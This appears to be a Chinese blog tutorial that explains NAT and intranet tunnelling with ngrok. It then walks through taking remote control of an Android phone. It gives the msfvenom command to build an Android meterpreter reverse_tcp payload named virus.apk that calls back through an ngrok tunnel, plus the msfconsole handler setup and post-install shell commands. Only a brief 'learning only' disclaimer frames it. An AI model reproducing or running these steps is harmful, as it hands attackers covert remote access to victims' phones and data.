## 前言:本教程只作为学习用途,切勿用于其他用途。恶意入侵他人终端属于国家明令禁止的违法行为,请务必遵守!!!
## 搭建环境:
### Parallels Desktop 15
### kali linux 2019.3
### ngrok (www.ngrok.com)
## 内网穿透:
### 1. 内外:所谓内网就是内部建立的局域网络或办公网络。举个例:一家公司或一个家庭有多台计算机,他们利用不同网络布局将这一台或多台计算机或其它设备连接起来构成一个局部的办公或者资源共享网络,我们就称它为内部网络,也叫内网。
### 2. 外网:所谓外网就是通过一个网关或网桥与其它网络系统连接,相对于自己的内网来说,连接的其它网络系统就称为外部网络,也叫外网。举例说明:当一家公司或一个家庭的所有电脑网络想要与公司或家庭以外的网络连接(比如连接互连网),相对于这家公司或家庭,其它网络(或互连网)就称为外网!
### 3. 内外网如何通信?NAT: NAT通常来说就是地址转换。其功能就是把在公网的地址转翻译成私有地址,采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。原理及流程如下:
#### 3.1. NAT维护一个地址的映射表,记录内容为内网地址 (iAddr)、映射地址 (eAddr)和 (hAddr)。初始时,映射表为空;
#### 3.2. 内网主机A发送数据表给路由器 (NAT主机): 10.0.1.10:1111 -> 203.22.22.22:6000;
#### 3.3. NAT在映射表里没有找到源地址等于 10.0.1.10:1111的记录,于是新建一条呢记录 No.1,分配路由端口2000。
#### 3.4. NAT修改数据包的源地址再发到外网:202.11.11.11:200 -> 203.22.22.22:6000;
#### 3.5. 后续地址源为 10.0.1.10:1111,目标地址为 203.22.22.22:6000 都做同样修改;
#### 3.6. 服务器A返回数据包给内网主机A所关联的路由器: 203.22.22.22:6000 -> 202.11.11.11:2000;
#### 3.7. NAT发现外网地址 202.11.11.11:2000 映射到哪玩地址为10.0.1.10:1111;
#### 3.8. NAT修改数据包的目的地址再发送到内网: 203.22.22.22:6000 -> 10.0.1.10:1111;
### 4. 内网穿透:内网计算机 (也就是LowID),都通过至少一层网关连接互联网,没有自己的独立IP和端口(别人看到的你的IP是网关的),所以别人无法主动与你建立连接,两个内网用户自然也就无法连通,更无法实现传输。因此,我们需要做内网穿透。
## ngrok:
### 1. ngrok原理:ngrok的工作原理其实很简单。Ngrok其实就是一个或者多个具有公网ip的计算机,他们用于接收两方终端的信息,并且相互转发。通过这个媒介,便实现了P2P的交流。
### 2. 步骤:
#### 2.1. 登陆 www.ngrok.com 下载对应的ngrok包。因为博主是kali linux,所以这里我们选择 linux版。
#### 2.2. 注册并登陆后,获取授权token。
#### 2.3. 在 kali linux 中解压下载后的压缩包,然后复制到本机启动,如下:
unzip cp ngrok /root/bin ngrok authtoken <你的授权token>
#### 2.4. 建立一个wlan的Payload
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok ip> LPORT=<ngrok port> -o /root/Desktops/virus.apk
#### 2.5. 打开msf控制台,并开始监控
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 127.0.0.1 //本地地址 set LPORT 4444 //本地端口 exploit
#### 2.6. 在靶机中安装virus.apk, 并在msfconsole中操作
sysinfo //获取系统信息 shell //进入控制台
## 实现效果展示(如果清晰度不够,请移步bilibili观看哦!)